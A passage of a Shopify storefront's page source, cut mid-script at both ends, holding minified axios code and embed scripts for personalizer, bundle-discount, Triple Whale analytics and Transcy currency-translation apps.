this.handlers.push({fulfilled:t,rejected:e}),this.handlers.length-1},o.prototype.eject=function(t){this.handlers[t]&&(this.handlers[t]=null)},o.prototype.forEach=function(t){n.forEach(this.handlers,(function(e){null!==e&&t(e)}))},t.exports=o},function(t,e,r){"use strict";var n=r(0),o=r(17),i=r(4),a=r(5);function u(t){t.cancelToken&&t.cancelToken.throwIfRequested()}t.exports=function(t){return u(t),t.headers=t.headers||{},t.data=o(t.data,t.headers,t.transformRequest),t.headers=n.merge(t.headers.common||{},t.headers[t.method]||{},t.headers),n.forEach(["delete","get","head","post","put","patch","common"],(function(e){delete t.headers[e]})),(t.adapter||a.adapter)(t).then((function(e){return u(t),e.data=o(e.data,e.headers,t.transformResponse),e}),(function(e){return i(e)||(u(t),e&&e.response&&(e.response.data=o(e.response.data,e.response.headers,t.transformResponse))),Promise.reject(e)}))}},function(t,e,r){"use strict";var n=r(0);t.exports=function(t,e,r){return n.forEach(r,(function(r){t=r(t,e)})),t}},function(t,e){var r,n,o=t.exports={};function i(){throw new Error("setTimeout has not been defined")}function a(){throw new Error("clearTimeout has not been defined")}function u(t){if(r===setTimeout)return setTimeout(t,0);if((r===i||!r)&&setTimeout)return r=setTimeout,setTimeout(t,0);try{return r(t,0)}catch(e){try{return r.call(null,t,0)}catch(e){return r.call(this,t,0)}}}!function(){try{r="function"===typeof setTimeout?setTimeout:i}catch(t){r=i}try{n="function"===typeof clearTimeout?clearTimeout:a}catch(t){n=a}}();var s,c=[],f=!1,l=-1;function p(){f&&s&&(f=!1,s.length?c=s.concat(c):l=-1,c.length&&h())}function h(){if(!f){var t=u(p);f=!0;for(var e=c.length;e;){for(s=c,c=[];++l<e;)s&&s[l].run();l=-1,e=c.length}s=null,f=!1,function(t){if(n===clearTimeout)return clearTimeout(t);if((n===a||!n)&&clearTimeout)return n=clearTimeout,clearTimeout(t);try{n(t)}catch(e){try{return n.call(null,t)}catch(e){return n.call(this,t)}}}(t)}}function d(t,e){this.fun=t,this.array=e}function m(){}o.nextTick=function(t){var e=new Array(arguments.length-1);if(arguments.length>1)for(var r=1;r<arguments.length;r++)e[r-1]=arguments[r];c.push(new d(t,e)),1!==c.length||f||u(h)},d.prototype.run=function(){this.fun.apply(null,this.array)},o.title="browser",o.browser=!0,o.env={},o.argv=[],o.version="",o.versions={},o.on=m,o.addListener=m,o.once=m,o.off=m,o.removeListener=m,o.removeAllListeners=m,o.emit=m,o.prependListener=m,o.prependOnceListener=m,o.listeners=function(t){return[]},o.binding=function(t){throw new Error("process.binding is not supported")},o.cwd=function(){return"/"},o.chdir=function(t){throw new Error("process.chdir is not supported")},o.umask=function(){return 0}},function(t,e,r){"use strict";var n=r(0);t.exports=function(t,e){n.forEach(t,(function(r,n){n!==e&&n.toUpperCase()===e.toUpperCase()&&(t[e]=r,delete t[n])}))}},function(t,e,r){"use strict";var n=r(7);t.exports=function(t,e,r){var o=r.config.validateStatus;!o||o(r.status)?t(r):e(n("Request failed with status code "+r.status,r.config,null,r.request,r))}},function(t,e,r){"use strict";t.exports=function(t,e,r,n,o){return t.config=e,r&&(t.code=r),t.request=n,t.response=o,t.isAxiosError=!0,t.toJSON=function(){return{message:this.message,name:this.name,description:this.description,number:this.number,fileName:this.fileName,lineNumber:this.lineNumber,columnNumber:this.columnNumber,stack:this.stack,config:this.config,code:this.code}},t}},function(t,e,r){"use strict";var n=r(23),o=r(24);t.exports=function(t,e){return t&&!n(e)?o(t,e):e}},function(t,e,r){"use strict";t.exports=function(t){return/^([a-z][a-z\d\+\-\.]*:)?\/\//i.test(t)}},function(t,e,r){"use strict";t.exports=function(t,e){return e?t.replace(/\/+$/,"")+"/"+e.replace(/^\/+/,""):t}},function(t,e,r){"use strict";var n=r(0),o=["age","authorization","content-length","content-type","etag","expires","from","host","if-modified-since","if-unmodified-since","last-modified","location","max-forwards","proxy-authorization","referer","retry-after","user-agent"];t.exports=function(t){var e,r,i,a={};return t?(n.forEach(t.split("\n"),(function(t){if(i=t.indexOf(":"),e=n.trim(t.substr(0,i)).toLowerCase(),r=n.trim(t.
996substr(i+1)),e){if(a[e]&&o.indexOf(e)>=0)return;a[e]="set-cookie"===e?(a[e]?a[e]:[]).concat([r]):a[e]?a[e]+", "+r:r}})),a):a}},function(t,e,r){"use strict";var n=r(0);t.exports=n.isStandardBrowserEnv()?function(){var t,e=/(msie|trident)/i.test(navigator.userAgent),r=document.createElement("a");function o(t){var n=t;return e&&(r.setAttribute("href",n),n=r.href),r.setAttribute("href",n),{href:r.href,protocol:r.protocol?r.protocol.replace(/:$/,""):"",host:r.host,search:r.search?r.search.replace(/^\?/,""):"",hash:r.hash?r.hash.replace(/^#/,""):"",hostname:r.hostname,port:r.port,pathname:"/"===r.pathname.charAt(0)?r.pathname:"/"+r.pathname}}return t=o(window.location.href),function(e){var r=n.isString(e)?o(e):e;return r.protocol===t.protocol&&r.host===t.host}}():function(){return!0}},function(t,e,r){"use strict";var n=r(0);t.exports=n.isStandardBrowserEnv()?{write:function(t,e,r,o,i,a){var u=[];u.push(t+"="+encodeURIComponent(e)),n.isNumber(r)&&u.push("expires="+new Date(r).toGMTString()),n.isString(o)&&u.push("path="+o),n.isString(i)&&u.push("domain="+i),!0===a&&u.push("secure"),document.cookie=u.join("; ")},read:function(t){var e=document.cookie.match(new RegExp("(^|;\\s*)("+t+")=([^;]*)"));return e?decodeURIComponent(e[3]):null},remove:function(t){this.write(t,"",Date.now()-864e5)}}:{write:function(){},read:function(){return null},remove:function(){}}},function(t,e,r){"use strict";var n=r(9);function o(t){if("function"!==typeof t)throw new TypeError("executor must be a function.");var e;this.promise=new Promise((function(t){e=t}));var r=this;t((function(t){r.reason||(r.reason=new n(t),e(r.reason))}))}o.prototype.throwIfRequested=function(){if(this.reason)throw this.reason},o.source=function(){var t;return{token:new o((function(e){t=e})),cancel:t}},t.exports=o},function(t,e,r){"use strict";t.exports=function(t){return function(e){return t.apply(null,e)}}},function(t,e,r){"use strict";r.r(e);var n=r(1),o=r.n(n);function i(t,e,r,n,o,i,a){try{var u=t[i](a),s=u.value}catch(c){return void r(c)}u.done?e(s):Promise.resolve(s).then(n,o)}function a(t){return function(){var e=this,r=arguments;return new Promise((function(n,o){var a=t.apply(e,r);function u(t){i(a,n,o,u,s,"next",t)}function s(t){i(a,n,o,u,s,"throw",t)}u(void 0)}))}}var u=r(10),s=r.n(u);var c=function(t){return function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"GET";return r=r.toUpperCase(),new Promise((function(n){var o;"GET"===r&&(o=s.a.get(t,{params:e})),o.then((function(t){n(t.data)}))}))}("/apps/broken-link-manager/receive_id",t,"GET")};function f(){return(f=a(o.a.mark((function t(e,r,n){var i;return o.a.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return i={shop:e,code:r,gbaid:n},t.next=3,c(i);case 3:t.sent;case 4:case"end":return t.stop()}}),t)})))).apply(this,arguments)}var l=window.location.href;if(-1!=l.indexOf("gbaid")){var p=l.split("gbaid");if(void 0!=p[1]){var h=window.location.pathname+window.location.search;window.history.pushState({},0,h),function(t,e,r){f.apply(this,arguments)}("eminenter.myshopify.com","",p[1])}}}]);
997</script>
997<!-- END app block --><!-- BEGIN app block: shopify://apps/zepto-product-personalizer/blocks/product_personalizer_main/7411210d-7b32-4c09-9455-e129e3be4729 -->
998<!-- BEGIN app snippet: zepto_common -->
998<script>
999var pplr_cart = {"note":null,"attributes":{},"original_total_price":0,"total_price":0,"total_discount":0,"total_weight":0.0,"item_count":0,"items":[],"requires_shipping":false,"currency":"USD","items_subtotal_price":0,"cart_level_discount_applications":[],"checkout_charge_amount":0};
1000var pplr_shop_currency = "EUR";
1001var pplr_enabled_currencies_size = 108;
1002var pplr_money_formate = "${{amount}}";
1003var pplr_money_formate_with_currency = "${{amount}} USD";
1004var pplr_manual_theme_selector=["CartCount span:first","tr:has([name*=updates]), .line-item-table__list .line-item","tr img:first, .line-item__image-wrapper .line-item__image",".line-item__title, .product-item-meta__property.list--unstyled",".cart__item--price .cart__price, .price-list .price",".grid__item.one-half.text-right, .line-item__price-list-container",".pplr_item_remove",".ajaxcart__qty",".header__cart-price-bubble span[data-cart-price-bubble]","form[action*=cart] [name=checkout]","Gravur ansehen","0","Discount Code {{ code }} is invalid","Discount code","Apply",".SomeClass","Subtotal","Shipping","EST. TOTAL","100","Click To Download File"];
1005var pplr_cart_translations = null;
1006var pplr_cart_locale = "en";
1007</script>
1007
1008
1009<script defer src="https://cdn.shopify.com/extensions/01a10ce5-1560-7788-8926-8f4a958c780b/product-personalizer-68/assets/pplr_common.js"></script>
1009<!-- END app snippet -->
1010
1011<!-- END app block --><!-- BEGIN app block: shopify://apps/kaching-bundles/blocks/app-embed-block/6c637362-a106-4a32-94ac-94dcfd68cdb8 -->
1012<!-- Kaching Bundles App Embed -->
1013
1014<!-- BEGIN app snippet: app-embed-content -->
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026<script>
1027  // Prevent duplicate initialization if both app embeds are enabled
1028  if (window.kachingBundlesAppEmbedLoaded) {
1029    console.warn('[Kaching Bundles] Multiple app embed blocks detected. Please disable one of them. Skipping duplicate initialization.');
1030  } else {
1031    window.kachingBundlesAppEmbedLoaded = true;
1032    window.kachingBundlesEnabled = true;
1033    window.kachingBundlesInitialized = false;
1034
1035    // Allow calling kachingBundlesInitialize before the script is loaded
1036    (() => {
1037      let shouldInitialize = false;
1038      let realInitialize = null;
1039
1040      window.kachingBundlesInitialize = () => {
1041        if (realInitialize) {
1042          realInitialize();
1043        } else {
1044          shouldInitialize = true;
1045        }
1046      };
1047
1048      Object.defineProperty(window, '__kachingBundlesInitializeInternal', {
1049        set(fn) {
1050          realInitialize = fn;
1051          if (shouldInitialize) {
1052            shouldInitialize = false;
1053            fn();
1054          }
1055        },
1056        get() {
1057          return realInitialize;
1058        }
1059      });
1060    })();
1061  }
1062</script>
1062
1063
1064
1065
1066<script id="kaching-bundles-config" type="application/json">
1067  {
1068    "shopifyDomain": "eminenter.myshopify.com",
1069    "moneyFormat": "${{amount}}",
1070    "locale": "en",
1071    "liquidLocale": "en",
1072    "country": "US",
1073    "currencyRate": 1,
1074    "marketCurrencyCode": "USD",
1075    "marketId": 105964011784,
1076    "productId": null,
1077    "storefrontAccessToken": "b4fef5b575623c4cfcd832a824a850c0",
1078    "includeSellingPlans": true,
1079    "includeAvailableQuantity": true,
1080    "customApiHost": null,
1081    "keepQuantityInput": false,
1082    "ignoreDeselect": false,
1083    "ignoreUnitPrice": false,
1084    "requireCustomerLogin": false,
1085    "abTestsRunning": true,
1086    "webPixel": true,
1087    "b2bCustomer": false,
1088    "isLoggedIn": false,
1089    "isDeprecatedAppEmbed": false,
1090    "preview": false,
1091    "defaultTranslations": {
1092      "system.out_of_stock": "There\u0026#39;s not enough items in our stock, please select smaller bundle.",
1093      "system.invalid_variant": "Sorry, this is not currently available.",
1094      "system.unavailable_option_value": "Unavailable",
1095      "system.confirm": "Confirm",
1096      "system.cancel": "Cancel",
1097      "system.free": "FREE",
1098      "system.search": "Search",
1099      "system.sort_by": "Sort by",
1100      "system.sort_relevance": "Relevance",
1101      "system.sort_newest_first": "Newest first",
1102      "system.sort_price_low_to_high": "Price: Low → High",
1103      "system.sort_price_high_to_low": "Price: High → Low",
1104      "system.no_results_found": "No results found",
1105      "system.no_results_description": "We can’t find any item matching your search.",
1106      "system.clear_search": "Clear search",
1107      "system.no_products_available": "No products available",
1108      "system.letters_only": "Only letters are allowed.",
1109      "system.numbers_only": "Only numbers are allowed.",
1110      "system.select_variant_alert": "Please select a variant.",
1111      "system.select_variant_placeholder": "Select",
1112      "system.personalisation_required_alert": "Please add personalisation for every item to continue.",
1113      "system.quantity": "Quantity",
1114      "system.subscription_plan": "Subscription plan",
1115      "system.remove": "Remove",
1116      "system.original_price": "Original price:",
1117      "system.price": "Price:"
1118
1119    },
1120    "customSelectors": {
1121      "quantity": null,
1122      "addToCartButton": null,
1123      "variantPicker": null,
1124      "price": null,
1125      "priceCompare": null,
1126      "label": null
1127    },
1128    "shopCustomStyles": ".kaching-bundles__bar-pricing{visibility:hidden !important;position:absolute !important;}",
1129    "brandColors": {"error":"#D72C2C","border":"#2828284D","overlay":"#000000","badgeText":"#FFFFFF","primaryText":"#282828","primaryAccent":"#282828","secondaryText":"#555555","badgeBackgroun
1129d":"#282828","primaryAccentText":"#FFFFFF","primaryBackground":"#FFFFFF","secondaryBackground":"#E5E5E5"},
1130    "featureFlags": {"atc_total_price":false,"cart_change_response_rewrite":false,"cart_interceptor_dedupe_disabled":false,"cart_interceptor_json_encoding":false,"debug_cart_add":false,"disable_nested_cart_lines":false,"early_fetch_override":false,"hide_missing_variants":false,"initialize_with_form_variant":false,"intercept_cart_request":false,"legacy_saved_percentage":false,"low_priority_scripts":false,"native_swatches_disabled":false,"observe_external_selling_plan":false,"observe_form_selling_plan":false,"percentage_cents_rounding_workaround":false,"pos_extension":false,"preserve_variant_selections":false,"price_rounding_v2":false,"propagate_line_properties":false,"propagate_picker_option_changes":false,"reinitialize_morphed_placeholders":false,"remove_variant_change_delay":false,"rever_non_returnable":false,"split_bxgy_items":false,"split_quantity_break_items":false,"storefront_metaobjects":false,"variant_images":false}
1131
1132  }
1133</script>
1133
1134
1135<!-- BEGIN app snippet: translations -->
1136
1137
1138  
1139  
1139<script id="kaching-bundles-translations" type="application/json">
1140    [{"locale":"en","translations":{"system":{},"dealBlocks":{"895b1fe2-ee6b-4df9-8cb9-3b24b9f94150":{"Mengenrabatt":"Quantity Discount","NUR HEUTE: KAUFE 2 ZAHLE 1":"ONLY TODAY: BUY 1 GET 2","Kaufe 1":"Buy 1","Kaufe 2 - Zahle 1":"Buy 2 - Pay for 1","1x Smart Wallet 3.0 Gratis":"1x Smart Wallet 3.0 Free","Am beliebtesten":"Most popular"},"f65883b1-365d-4263-b693-26d24bfe4067":{"Mengenrabatt":"Mengenrabatt","KAUFE 2 ZAHLE 1":"BUY 2 PAY FOR 1","Kaufe 1":"Buy 1","Kaufe 2 - Zahle 1":"Buy 2 - Pay for 1","1x Slingbag Gratis":"1x Free Slingbag","Am beliebtesten":"Most popular","Kaufe 3 - Zahle 2":"Buy 3 - Pay for 2"},"9b75ff9b-d3a8-4993-829b-9cec2766e47a":{"Mengenrabatt":"Mengenrabatt","SPARE IM BUNDLE":"BUY MORE - SAVE MORE","Kaufe 1":"Buy 1","Kaufe 2":"Buy 2","Duo Deal":"Duo Deal","Am beliebtesten":"Most popular","Kaufe 4":"Buy 4","für Familie \u0026 Freunde":"for family \u0026 friends","Am günstigsten":"The cheapest"},"a755399b-0727-42ff-af1d-df6501eeb305":{"Mengenrabatt":"Mengenrabatt","SPARE IM BUNDLE":"BUY MORE - SAVE MORE","Kaufe 1":"Buy 1","Kaufe 2":"Buy 2","Duo Deal":"Duo Deal","Am beliebtesten":"Most popular","Kaufe 4":"Buy 4","für Familie \u0026 Freunde":"for family \u0026 friends","Am günstigsten":"The cheapest"},"2b7e5fc0-a244-49db-ba28-98318042d6c1":{"Mengenrabatt":"Mengenrabatt","SPARE IM BUNDLE":"BUY MORE - SAVE MORE","Kaufe 1":"Buy 1","Kaufe 2":"Buy 2","Duo Deal":"Duo Deal","Am beliebtesten":"Most popular","Kaufe 4":"Buy 4","für Familie \u0026 Freunde":"for family \u0026 friends","Am günstigsten":"The cheapest"},"c2975364-9649-4503-b289-1e9a686830fe":{"Mengenrabatt":"Mengenrabatt","SPARE IM BUNDLE":"BUY MORE - SAVE MORE","Kaufe 1":"Buy 1","Kaufe 2":"Buy 2","Duo Deal":"Duo Deal","Am beliebtesten":"Most popular","Kaufe 4":"Buy 4","für Familie \u0026 Freunde":"for family \u0026 friends","Am günstigsten":"The cheapest"},"64a164de-38cc-43fc-934e-669fb54b5cbb":{"Mengenrabatt":"Mengenrabatt","SPARE IM BUNDLE":"BUY MORE - SAVE MORE","Kaufe 1":"Buy 1","Kaufe 2":"Buy 2","Duo Deal":"Duo Deal","Am beliebtesten":"Most popular","Kaufe 4":"Buy 4","für Familie \u0026 Freunde":"for family \u0026 friends","Am günstigsten":"The cheapest"},"d16822dd-a57a-4230-ab8c-923c81c16b13":{"SPARE IM BUNDLE (OHNE PERSONALISIERUNG)":"BUY MORE - SAVE MORE","Kaufe 1":"Buy 1","Kaufe 3 - zahle 2":"Buy 3 - pay for 2","für Familie \u0026 Freunde":"for family \u0026 friends","am beliebtesten":"most popular","+ 1x Gratis Smart Wallet 3.0":"+ 1x Free Smart Wallet 3.0"},"9c5d677a-92f5-401e-871c-71d09122871d":{"SPARE IM BUNDLE (OHNE PERSONALISIERUNG)":"BUY MORE - SAVE MORE","Smart Wallet 3.0":"Smart Wallet 3.0","Smart Wallet 3.0 + Tracker Karte":"Smart Wallet 3.0 + Tracker Card","40% Rabatt":"40% Discount"},"4e2c48fe-8aad-4530-9242-6ad0154875a3":{"SPARE IM BUNDLE":"BUY MORE - SAVE MORE","Kaufe 1":"Buy 1","Kaufe 2":"Buy 2","Du sparst {{saved_total}}":"You save {{saved_total}}","am beliebtesten":"most popular","+ 1x Gratis Tracker Karte":"+ 1x Free Tracker Card","Kaufe 3":"Buy 3","+ 3x Gratis Tracker Karte":"+ 3x Free Tracker Card"}}}}]
1141  </script>
1141
1142  
1143
1144<!-- END app snippet -->
1145
1146
1147
1148
1149
1150
1151  
1152  
1153
1154  <link rel="modulepreload" href="https://cdn.shopify.com/extensions/01a120cf-f33b-7147-9ac0-ab56f2ff4d41/kaching-bundles-2043/assets/kaching-bundles.js" crossorigin="anonymous" fetchpriority="high">
1155  
1156  
1156<script type="module" src="https://cdn.shopify.com/extensions/01a120cf-f33b-7147-9ac0-ab56f2ff4d41/kaching-bundles-2043/assets/loader.js" crossorigin="anonymous" fetchpriority="high"></script>
1156
1157  <link rel="stylesheet" href="https://cdn.shopify.com/extensions/01a120cf-f33b-7147-9ac0-ab56f2ff4d41/kaching-bundles-2043/assets/kaching-bundles.css" media="print" onload="this.media='all'" fetchpriority="high">
1158
1159  <style>
1160    .kaching-bundles__block {
1161      display: none;
1162    }
1163
1164    .kaching-bundles-sticky-atc {
1165      display: none;
1166    }
1167  </style>
1168
1169
1170
1171  
1172
1173<!-- END app snippet -->
1174
1175<!-- Kaching Bundles App Embed End -->
1176
1177
1178<!-- END app block --><!-- BEGIN app block: shopify://apps/triplewhale/blocks/triple_pixel_snippet/483d496b-3f1a-4609-aea7-8eee3b6b7a2a --><link rel='preconnect dns-prefetch' href='https://api.config-security.com/' crossorigin />
1179<link rel='preconnect dns-prefetch' href='https://conf.config-security.com/' crossorigin />
1180<script>
1181/* >> TriplePixel :: start*/
1182window.TriplePixelData={TripleName:"eminenter.myshopify.com",ver:"2.16",plat:"SHOPIFY",isHeadless:false,src:'SHOPIFY_EXT',product:{id:"",name:``,price:"",variant:"",av:{  }},search:"",collection:"",cart:"drawer",template:"cart",curr:"USD" || "EUR", market:"105964011784"},function(W,H,A,L,E,_,B,N){function O(U,T,P,H,R){void 0===R&&(R=!1),H=new XMLHttpRequest,P?(H.open("POST",U,!0),H.setRequestHeader("Content-Type","text/plain")):H.open("GET",U,!0),H.send(JSON.stringify(P||{})),H.onreadystatechange=function(){4===H.readyState&&200===H.status?(R=H.responseText,U.includes("/first")?eval(R):P||(N[B]=R)):(299<H.status||H.status<200)&&T&&!R&&(R=!0,O(U,T-1,P))}}if(N=window,!N[H+"sn"]){N[H+"sn"]=1,L=function(){return Date.now().toString(36)+"_"+Math.random().toString(36)};try{A.setItem(H,1+(0|A.getItem(H)||0)),(E=JSON.parse(A.getItem(H+"U")||"[]")).push({u:location.href,r:document.referrer,t:Date.now(),id:L()}),A.setItem(H+"U",JSON.stringify(E))}catch(e){}var i,m,p;A.getItem('"!nC`')||(_=A,A=N,A[H]||(E=A[H]=function(t,e,i){return void 0===i&&(i=[]),"State"==t?E.s:(W=L(),(E._q=E._q||[]).push([W,t,e].concat(i)),W)},E.s="Installed",E._q=[],E.ch=W,B="configSecurityConfModel",N[B]=1,O("https://conf.config-security.com/model",5),i=L(),m=A[atob("c2NyZWVu")],_.setItem("di_pmt_wt",i),p={id:i,action:"profile",avatar:_.getItem("auth-security_rand_salt_"),time:m[atob("d2lkdGg=")]+":"+m[atob("aGVpZ2h0")],host:A.TriplePixelData.TripleName,plat:A.TriplePixelData.plat,url:window.location.href.slice(0,500),ref:document.referrer,ver:A.TriplePixelData.ver},O("https://api.config-security.com/event",5,p),O("https://api.config-security.com/first?host=".concat(p.host,"&plat=").concat(p.plat),5)))}}("","TriplePixel",localStorage);
1183/* << TriplePixel :: end*/
1184</script>
1184
1185
1186
1187
1188<!-- END app block --><!-- BEGIN app block: shopify://apps/transcy/blocks/switcher_embed_block/bce4f1c0-c18c-43b0-b0b2-a1aefaa44573 --><!-- BEGIN app snippet: fa_translate_core -->
1188<script>
1189    (function () {
1190        console.log("transcy ignore convert TC value",typeof transcy_ignoreConvertPrice != "undefined");
1191        
1192        function addMoneyTag(mutations, observer) {
1193            let currencyCookie = getCookieCore("transcy_currency");
1194            
1195            let shopifyCurrencyRegex = buildXPathQuery(
1196                window.ShopifyTC.shopifyCurrency.price_currency
1197            );
1198
1199            const patterns = Array.from(new Set([
1200                ...buildCurrencyRegex(window.ShopifyTC.shopifyCurrency.price_currency),
1201                ...buildCurrencyRegex(window.ShopifyTC.shopifyCurrency.price)
1202            ]));
1203            
1204            let currencyRegex = new RegExp(`(${patterns.join("|")})`, "g");
1205            let tempTranscy = document.evaluate(shopifyCurrencyRegex, document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
1206            for (let iTranscy = 0; iTranscy < tempTranscy.snapshotLength; iTranscy++) {
1207                let elTranscy = tempTranscy.snapshotItem(iTranscy);
1208                if (elTranscy.innerHTML &&
1209                !elTranscy.classList.contains('transcy-money') && (typeof transcy_ignoreConvertPrice == "undefined" ||
1210                !transcy_ignoreConvertPrice?.some(className => elTranscy.classList?.contains(className))) && elTranscy?.childNodes?.length == 1) {
1211                    if (!window.ShopifyTC?.shopifyCurrency?.price_currency || currencyCookie == window.ShopifyTC?.currency?.active || !currencyCookie) {
1212                        addClassIfNotExists(elTranscy, 'notranslate');
1213                        continue;
1214                    }
1215
1216                    elTranscy.classList.add('transcy-money');
1217                    let innerHTML = replaceMatches(elTranscy?.textContent, currencyRegex);
1218                    elTranscy.innerHTML = innerHTML;
1219                    if (!innerHTML.includes("tc-money")) {
1220                        addClassIfNotExists(elTranscy, 'notranslate');
1221                    }
1222                } 
1223                if (elTranscy.classList.contains('transcy-money') && !elTranscy?.innerHTML?.includes("tc-money")) {
1224                    addClassIfNotExists(elTranscy, 'notranslate');
1225                }
1226            }
1227        }
1228    
1229        function logChangesTranscy(mutations, observer) {
1230            const xpathQuery = `
1231                //*[text()[contains(.,"•tc")]] |
1232                //*[text()[contains(.,"tc")]] |
1233                //*[text()[contains(.,"transcy")]] |
1234                //textarea[@placeholder[contains(.,"transcy")]] |
1235                //textarea[@placeholder[contains(.,"tc")]] |
1236                //select[@placeholder[contains(.,"transcy")]] |
1237                //select[@placeholder[contains(.,"tc")]] |
1238                //input[@placeholder[contains(.,"tc")]] |
1239                //input[@value[contains(.,"tc")]] |
1240                //input[@value[contains(.,"transcy")]] |
1241                //*[text()[contains(.,"TC")]] |
1242                //textarea[@placeholder[contains(.,"TC")]] |
1243                //select[@placeholder[contains(.,"TC")]] |
1244                //input[@placeholder[contains(.,"TC")]] |
1245                //input[@value[contains(.,"TC")]]
1246            `;
1247            let tempTranscy = document.evaluate(xpathQuery, document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
1248            for (let iTranscy = 0; iTranscy < tempTranscy.snapshotLength; iTranscy++) {
1249                let elTranscy = tempTranscy.snapshotItem(iTranscy);
1250                let innerHtmlTranscy = elTranscy?.innerHTML ? elTranscy.innerHTML : "";
1251                if (innerHtmlTranscy && !["SCRIPT", "LINK", "STYLE"].includes(elTranscy.nodeName)) {
1252                    const textToReplace = [
1253                        '&lt;•tc&gt;', '&lt;/•tc&gt;', '&lt;tc&gt;', '&lt;/tc&gt;',
1254                        '&lt;transcy&gt;', '&lt;/transcy&gt;', '&amp;lt;tc&amp;gt;',
1255                        '&amp;lt;/tc&amp;gt;', '&lt;TRANSCY&gt;', '&lt;/TRANSCY&gt;',
1256                        '&lt;TC&gt;', '&lt;/TC&gt;'
1257                    ];
1258                    let containsTag = textToReplace.some(tag => innerHtmlTranscy.includes(tag));
1259                    if (containsTag) {
1260                        textToReplace.forEach(tag => {
1261                            innerHtmlTranscy = innerHtmlTranscy.replaceAll(tag, '');
1262                        });
1263                        elTranscy.innerHTML = innerHtmlTranscy;
1264                        elTranscy.setAttribute('translate', 'no');
1265                    }
1266    
1267                    const tagsToReplace = ['<•tc>', '</•tc>', '<tc>', '</tc>', '<transcy>', '</transcy>', '<TC>', '</TC>', '<TRANSCY>', '</TRANSCY>'];
1268                    if (tagsToReplace.some(tag => innerHtmlTranscy.includes(tag))) {
1269                        innerHtmlTranscy = innerHtmlTranscy.replace(/<(|\/)transcy>|<(|\/)tc>|<(|\/)•tc>/gi, "");
1270                        elTranscy.innerHTML = innerHtmlTranscy;
1271                        elTranscy.setAttribute('translate', 'no');
1272                    }
1273                }
1274                if (["INPUT"].includes(elTranscy.nodeName)) {
1275                    let valueInputTranscy = elTranscy.value.replaceAll("&lt;tc&gt;", "").replaceAll("&lt;/tc&gt;", "").replace(/<(|\/)transcy>|<(|\/)tc>/gi, "");
1276                    elTranscy.value = valueInputTranscy
1277                }
1278    
1279                if (["INPUT", "SELECT", "TEXTAREA"].includes(elTranscy.nodeName)) {
1280                    elTranscy.placeholder = elTranscy.placeholder.replaceAll("&lt;tc&gt;", "").replaceAll("&lt;/tc&gt;", "").replace(/<(|\/)transcy>|<(|\/)tc>/gi, "");
1281                }
1282            }
1283            addMoneyTag(mutations, observer)
1284        }
1285        const observerOptionsTranscy = {
1286            subtree: true,
1287            childList: true
1288        };
1289        let logChangesTranscyTimer = null;
1290        const observerTranscy = new MutationObserver(function(mutations, observer) {
1291            if (logChangesTranscyTimer !== null) clearTimeout(logChangesTranscyTimer);
1292            logChangesTranscyTimer = setTimeout(function() {
1293                logChangesTranscyTimer = null;
1294                logChangesTranscy(mutations, observer);
1295            }, 100);
1296        });
1297        observerTranscy.observe(document.documentElement, observerOptionsTranscy);
1298    })();
1299
1300    const addClassIfNotExists = (element, className) => {
1301        if (!element.classList.contains(className)) {
1302            element.classList.add(className);
1303        }
1304    };
1305    
1306    const replaceMatches = (content, currencyRegex) => {
1307        let arrCurrencies = content.match(currencyRegex);
1308    
1309        if (arrCurrencies?.length && content === arrCurrencies[0]) {
1310            return content;
1311        }
1312        return (
1313            arrCurrencies?.reduce((string, oldVal, index) => {
1314                const hasSpaceBefore = string.match(new RegExp(`\\s${oldVal}`));
1315                const hasSpaceAfter = string.match(new RegExp(`${oldVal}\\s`));
1316                let eleCurrencyConvert = `<tc-money translate="no">${arrCurrencies[index]}</tc-money>`;
1317                if (hasSpaceBefore) eleCurrencyConvert = ` ${eleCurrencyConvert}`;
1318                if (hasSpaceAfter) eleCurrencyConvert = `${eleCurrencyConvert} `;
1319                if (string.includes("tc-money")) {
1320                    return string;
1321                }
1322                return string?.replaceAll(oldVal, eleCurrencyConvert);
1323            }, content) || content
1324        );
1325        return result;
1326    };
1327    
1328    const unwrapCurrencySpan = (text) => {
1329        return text.replace(/<span[^>]*>(.*?)<\/span>/gi, "$1");
1330    };
1331
1332
1333    const getSymbolsAndCodes = (text) => {
1334        if (!text || typeof text !== "string") return [];
1335        let numberPattern = "\\d+(?:[.,]\\d+)*(?:[.,]\\d+)?(?:\\s?\\d+)?"; // Chỉ tối đa 1 khoảng trắng
1336        let textWithoutCurrencySpan = unwrapCurrencySpan(text);
1337        let symbolsAndCodes = textWithoutCurrencySpan
1338            .trim()
1339            .replace(new RegExp(numberPattern, "g"), "")
1340            .split(/\s+/) // Loại bỏ khoảng trắng dư thừa
1341            .filter((el) => el);
1342        if (!Array.isArray(symbolsAndCodes) || symbolsAndCodes.length === 0) {
1343            return [];
1344        }
1345        return symbolsAndCodes;
1346    }
1347
1348    const buildCurrencyRegex = (text) => {
1349        const symbolsAndCodes = getSymbolsAndCodes(text);
1350        if (!Array.isArray(symbolsAndCodes) || symbolsAndCodes.length === 0) {
1351            return [];
1352        }
1353        let patterns = createCurrencyRegex(symbolsAndCodes);
1354        return patterns;
1355    };
1356
1357    const createCurrencyRegex = (symbolsAndCodes)=>{
1358        if (symbolsAndCodes.length === 0) {
1359            return [];
1360        }
1361        const escape = (str) => str.replace(/[-/\\^$*+?.()|[\]{}]/g, "\\$&");
1362        const [s1, s2] = [escape(symbolsAndCodes[0]), escape(symbolsAndCodes[1] || "")];
1363        const space = "\\s?";
1364        const numberPattern = "\\d+(?:[.,]\\d+)*(?:[.,]\\d+)?(?:\\s?\\d+)?"; 
1365        const patterns = [];
1366        if (s1 && s2) {
1367            patterns.push(
1368                `${s1}${space}${numberPattern}${space}${s2}`,
1369                `${s2}${space}${numberPattern}${space}${s1}`,
1370                `${s2}${space}${s1}${space}${numberPattern}`,
1371                `${s1}${space}${s2}${space}${numberPattern}`
1372            );
1373        }
1374        if (s1) {
1375            patterns.push(`${s1}${space}${numberPattern}`);
1376            patterns.push(`${numberPattern}${space}${s1}`);
1377        }
1378
1379        if (s2) {
1380            patterns.push(`${s2}${space}${numberPattern}`);
1381            patterns.push(`${numberPattern}${space}${s2}`);
1382        }
1383        return patterns;
1384    }
1385    
1386    const getCookieCore = function (name) {
1387        var nameEQ = name + "=";
